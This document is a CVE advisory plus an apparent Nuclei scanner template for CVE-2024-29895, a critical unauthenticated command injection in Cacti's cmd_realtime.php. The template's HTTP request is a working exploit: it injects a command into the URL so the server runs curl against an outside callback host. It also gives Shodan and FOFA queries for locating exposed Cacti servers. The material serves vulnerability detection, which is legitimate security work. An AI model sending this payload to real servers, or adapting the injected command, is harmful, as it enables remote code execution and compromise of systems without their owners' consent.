Cacti provides an operational monitoring and fault management framework. A command injection vulnerability on the 1.3.x DEV branch allows any unauthenticated user to execute arbitrary command on the server when `register_argc_argv` option of PHP is `On`. In `cmd_realtime.php` line 119, the `$poller_id` used as part of the command execution is sourced from `$_SERVER['argv']`, which can be controlled by URL when `register_argc_argv` option of PHP is `On`. And this option is `On` by default in many environments such as the main PHP Docker image for PHP.
PoC代码[已公开]
id: CVE-2024-29895
info:
name: Cacti cmd_realtime.php - Command Injection
author: pussycat0x
severity: critical
description: |
Cacti provides an operational monitoring and fault management framework. A command injection vulnerability on the 1.3.x DEV branch allows any unauthenticated user to execute arbitrary command on the server when `register_argc_argv` option of PHP is `On`. In `cmd_realtime.php` line 119, the `$poller_id` used as part of the command execution is sourced from `$_SERVER['argv']`, which can be controlled by URL when `register_argc_argv` option of PHP is `On`. And this option is `On` by default in many environments such as the main PHP Docker image for PHP.
reference:
- https://github.com/Stuub/CVE-2024-29895-CactiRCE-PoC
- https://github.com/Cacti/cacti/blob/501712998589763d411a68d35e3cda98fd9cfd18/cmd_realtime.php#L119
- https://github.com/Cacti/cacti/commit/53e8014d1f082034e0646edc6286cde3800c683d
- https://github.com/Cacti/cacti/commit/99633903cad0de5ace636249de16f77e57a3c8fc
- https://github.com/Cacti/cacti/security/advisories/GHSA-cr28-x256-xf5m
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2024-29895
cwe-id: CWE-77
epss-score: 0.93138
epss-percentile: 0.99786
metadata:
max-request: 1
vendor: cacti
product: cacti
shodan-query: http.favicon.hash:-1797138069
fofa-query: icon_hash="-1797138069"
tags: cve,cve2024,cacti,rce,vkev
http:
- method: GET
path:
- "{{BaseURL}}/cacti/cmd_realtime.php?1+1&&curl%20{{interactsh-url}}+1+1+1"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: curl"
- type: status
status:
- 200
# digest: 490a0046304402205d5c0ab0fb18a89f831a114a1d197837035b93d2d5e5196a37a063f72b902b0902201abd0ef69791dd87b9f0b04971d4382cb62c1fc90d252b740444e98e2d74ea4e:922c64590222798bb761d5b6d8e72950